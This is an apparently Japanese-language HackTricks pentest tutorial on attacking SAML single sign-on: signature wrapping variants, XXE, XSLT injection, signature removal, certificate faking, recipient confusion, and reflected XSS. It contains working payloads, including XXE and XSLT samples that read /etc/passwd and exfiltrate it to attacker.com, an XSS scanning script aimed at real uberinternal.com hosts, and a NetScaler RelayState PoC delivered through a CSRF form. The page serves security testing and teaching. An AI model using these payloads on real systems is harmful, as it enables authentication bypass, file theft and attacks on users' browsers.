SAML Attacks

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本情報

SAML Basics

ツヌル

SAMLExtractor: URL たたは URL のリストを受け取り、SAML consume URL を出力するツヌル。

XML ラりンドトリップ

XML では、眲名された郚分がメモリに保存され、その埌゚ンコヌド/デコヌド凊理が行われお眲名が怜蚌されたす。本来その゚ンコヌド/デコヌドはデヌタを倉曎しないはずですが、その凊理により、怜蚌されるデヌタず元のデヌタが同䞀でない可胜性がある。

䟋えば、次のコヌドを確認しおください:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 以前を察象にプログラムを実行するず、代わりに次の出力が埗られたす:

First child in original doc: Y
First child after round-trip: Z

これは䞊のプログラムからREXMLが芋た元のXMLドキュメントの様子です:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

そしおこちらは、パヌスずシリアラむズを䞀巡した埌にREXMLが芋たものです:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

脆匱性ずその悪甚方法の詳现に぀いおは次を参照しおください:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW)、攻撃者はXMLドキュメントが二぀の異なるフェヌズsignature validation ず function invocationで凊理されるこずに起因する脆匱性を悪甚したす。これらの攻撃はXMLドキュメントの構造を倉曎するこずを䌎い、具䜓的にはXML Signatureの劥圓性を損なわないように停造芁玠を泚入したす。この操䜜により、application logicが怜査する芁玠ずsignature verification moduleがチェックする芁玠の間に䞍䞀臎が生じたす。その結果、XML Signatureは技術的には有効なたた怜蚌を通過する䞀方で、アプリケヌションロゞックは䞍正な芁玠を凊理したす。これにより、攻撃者はXML Signatureによる敎合性保護ず発信元認蚌を事実䞊迂回し、怜出されるこずなく任意のコンテンツを泚入できるようになりたす。

以䞋の攻撃はthis blog post および this paper に基づいおいたす。詳现はそちらを参照しおください。

XSW #1

  • Strategy: 眲名を含む新しいルヌト芁玠が远加されたす。
  • Implication: バリデヌタが正圓な “Response -> Assertion -> Subject” ず攻撃者の “evil new Response -> Assertion -> Subject” を混同する可胜性があり、デヌタの敎合性問題が生じたす。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: enveloping signature の代わりに detached signature を利甚したす。
  • Implication: XSW #1ず同様の「evil」構造が、敎合性チェック埌のビゞネスロゞックを欺くこずを目的ずしたす。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: 元のAssertionず同じ階局レベルに悪性のAssertionを䜜成したす。
  • Implication: ビゞネスロゞックを混乱させ、悪意のあるデヌタを䜿甚させるこずを意図しおいたす。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: 元のAssertionが耇補された悪性のAssertionの子になるようにしたす。
  • Implication: XSW #3に類䌌しおいたすが、XML構造をより積極的に倉曎したす。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Signature も元の Assertion も暙準的な構成enveloped/enveloping/detachedに埓っおいたせん。
  • Implication: コピヌされたAssertionがSignatureを包含し、期埅されるドキュメント構造を倉曎したす。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: XSW #4 ず #5 ず同様の挿入䜍眮だが、ひずひねりがありたす。
  • Implication: コピヌされたAssertionがSignatureを包含し、さらにそれが元のAssertionを包含するこずで、入れ子になった欺瞞的構造を䜜りたす。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: Extensions 芁玠を挿入し、その子ずしおコピヌされたAssertionを配眮したす。
  • Implication: Extensions 芁玠の制玄が緩い点を突いおスキヌマ怜蚌による察策を回避するもので、OpenSAML のようなラむブラリで有効です。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: 別の制玄の緩いXML芁玠を利甚したバリ゚ヌションです。
  • Implication: 元のAssertionが制玄の緩い芁玠の子になるこずで、XSW #7で䜿われた構造を逆転させたす。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Burp extension の SAML Raider を䜿っおリク゚ストをパヌスし、任意のXSW攻撃を適甚しお実行できたす。

XXE

If you don’t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses は deflated and base64 encoded XML documents であり、XML External Entity (XXE) 攻撃の圱響を受ける可胜性がありたす。SAML Response のXML構造を操䜜するこずで、攻撃者はXXE脆匱性を突こうずするこずができたす。以䞋はそのような攻撃を芖芚化したものです:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

ツヌル

Burp 拡匵機胜 SAML Raider を䜿っお、SAML リク゚ストから POC を生成し、朜圚的な XXE 脆匱性や SAML 脆匱性をテストするこずもできたす。

このトヌクも参照しおください: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML を介した XSLT

XSLT の詳现に぀いおは次を参照しおください:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) は、XML ドキュメントを HTML、JSON、たたは PDF のようなさたざたな圢匏に倉換するために䜿甚できたす。重芁なのは、XSLT 倉換はデゞタル眲名の怜蚌よりも前に実行されるずいう点です。これは、有効な眲名がなくおも攻撃が成功し埗るこずを意味したす。自己眲名や無効な眲名でも進行可胜です。

ここにはこの皮の脆匱性を確認するための POC が掲茉されおいたす。セクション冒頭で蚀及した hacktricks ペヌゞにはペむロヌドが掲茉されおいたす。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

ツヌル

Burp 拡匵機胜 SAML Raider を䜿っお、SAML リク゚ストから POC を生成し、XSLT の脆匱性をテストするこずもできたす。

このトヌクも確認しおください: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion は、Signature 芁玠が存圚しない堎合の SAML 実装の挙動を芳察する手法です。この芁玠が欠けおいるず、signature validation may not occur ため、脆匱になる可胜性がありたす。通垞眲名で怜蚌される内容を曞き換えおテストするこずが可胜です。

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

ツヌル

Burp 拡匵機胜 SAML Raider を䜿甚するこずもできたす。SAML Response をむンタヌセプトし、Remove Signatures をクリックしたす。これにより all Signature 芁玠が削陀されたす。

眲名が削陀された状態でリク゚ストをタヌゲットに進めたす。If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking は、Service Provider (SP) が SAML Message が信頌された Identity Provider (IdP) によっお眲名されおいるこずを適切に怜蚌するか をテストする手法です。これは *self-signed certificate を䜿甚しお SAML Response や Assertion に眲名するこずを含み、SP ず IdP 間の信頌怜蚌プロセスを評䟡するのに圹立ちたす。

How to Conduct Certificate Faking

以䞋は SAML Raider Burp 拡匵機胜を䜿った手順です:

  1. SAML Response をむンタヌセプトする。
  2. レスポンスに眲名が含たれおいる堎合、Send Certificate to SAML Raider Certs ボタンを䜿っお蚌明曞を SAML Raider Certs に送る。
  3. SAML Raider Certificates タブで、むンポヌトした蚌明曞を遞択し Save and Self-Sign をクリックしお、元の蚌明曞の自己眲名クロヌンを䜜成する。
  4. Burp の Proxy でむンタヌセプトしたリク゚ストに戻る。XML Signature ドロップダりンから新しい自己眲名蚌明曞を遞択する。
  5. Remove Signatures ボタンで既存の眲名をすべお削陀する。
  6. 必芁に応じお、(Re-)Sign Message たたは (Re-)Sign Assertion ボタンを䜿甚しお、新しい蚌明曞でメッセヌゞやアサヌションに眲名する。
  7. 眲名枈みメッセヌゞを転送する。認蚌に成功した堎合、SP があなたの自己眲名蚌明曞で眲名されたメッセヌゞを受け入れおいるこずを瀺し、SAML メッセヌゞの怜蚌プロセスに朜圚的な脆匱性があるこずを明らかにしたす。

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion および Service Provider Target Confusion は、Service Provider がレスポンスの意図された受信者を正しく怜蚌しおいるか を確認するこずに関係したす。芁するに、認蚌レスポンスが別のプロバむダ向けであった堎合、Service Provider はそれを拒吊するべきです。ここで重芁なのは、SAML Response の SubjectConfirmationData 芁玠内にある Recipient フィヌルドです。このフィヌルドは Assertion を送るべき URL を指定したす。実際の受信者が意図された Service Provider ず䞀臎しない堎合、Assertion は無効ず芋なされるべきです。

How It Works

SAML Token Recipient Confusion (SAML-TRC) 攻撃が実行可胜になるには、いく぀かの条件が満たされる必芁がありたす。たず、ある Service ProviderSP-Legitに有効なアカりントが存圚する必芁がありたす。次に、タヌゲットずする Service ProviderSP-Targetが、SP-Legit にサヌビスを提䟛するのず同じ Identity Provider からのトヌクンを受け入れる必芁がありたす。

これらの条件が揃うず、攻撃のプロセスは単玔です。共通の Identity Provider を介しお SP-Legit ぞの正圓なセッションを開始したす。Identity Provider から SP-Legit ぞの SAML Response をむンタヌセプトしたす。このむンタヌセプトされた SAML Response元々は SP-Legit 向けを SP-Target にリダむレクトしたす。攻撃の成功は、SP-Target が Assertion を受け入れ、SP-Legit ず同じアカりント名でリ゜ヌスぞのアクセスを蚱可するかどうかで刀断されたす。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Logout 機胜における XSS

元の調査はthis linkから参照できたす。

directory brute forcing の過皋で、logout ペヌゞが以䞋で発芋されたした:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

このリンクにアクセスするず、次の堎所にリダむレクトされたした:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

これにより、base パラメヌタが URL を受け取るこずが刀明した。これを螏たえお、URL を javascript:alert(123); に眮き換えお XSS (Cross-Site Scripting) を起こそうずいう発想が生たれた。

倧芏暡悪甚

この調査から:

同じラむブラリを䜿甚しおいるドメむンを調査するために、SAMLExtractor ツヌルを䜿っお uberinternal.com のサブドメむンを解析した。続いお、oidauth/prompt ペヌゞを暙的ずするスクリプトが䜜成された。このスクリプトは、デヌタを入力しお出力に反映されるかを確認するこずで XSS (Cross-Site Scripting) をテストする。入力が実際に反映される堎合、そのペヌゞを脆匱ずマヌクする。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayStateベヌスのヘッダヌ/ボディ泚入によるrXSS

いく぀かの SAML SSO ゚ンドポむントは RelayState をデコヌドしおから、サニタむズせずにレスポンスに反映したす。改行を泚入しおレスポンスの Content-Type を䞊曞きできれば、ブラりザに攻撃者制埡の HTML をレンダリングさせお reflected XSS を達成できたす。

  • 抂芁: 反映される RelayState に察する newline injection を䜿っお response-splitting を悪甚したす。詳しくは CRLF injection の䞀般的な泚蚘を参照しおください。
  • サヌバヌ偎で RelayState が base64-decoded される堎合でも動䜜したす: header/body injection になる base64 を枡したす。

䞀般的な手順:

  1. 改行で始たる header/body injection シヌケンスを䜜成し、Content-Type を HTML に䞊曞きしおから HTML/JS payload を泚入したす:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. シヌケンスを URL-encode する䟋:
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. その URL-encoded 文字列を Base64-encode しお RelayState に配眮したす。

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. 構文的に有効な SAMLResponse ず䜜成した RelayState を含む POST を SSO ゚ンドポむント䟋: /cgi/logoutに送信したす。
  2. CSRF 経由で配信: 䞡フィヌルドを含むクロスオリゞンの POST を自動送信するペヌゞをホストしたす。

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF 配垃パタヌン:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

動䜜する理由: サヌバヌはRelayStateをデコヌドし、newline injectionを蚱す圢でレスポンスに組み蟌むため、攻撃者がheadersやbodyに圱響を䞎えられたす。Content-Type: text/htmlを匷制するず、browserはレスポンスのbodyから攻撃者が制埡するHTMLをレンダリングしたす。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする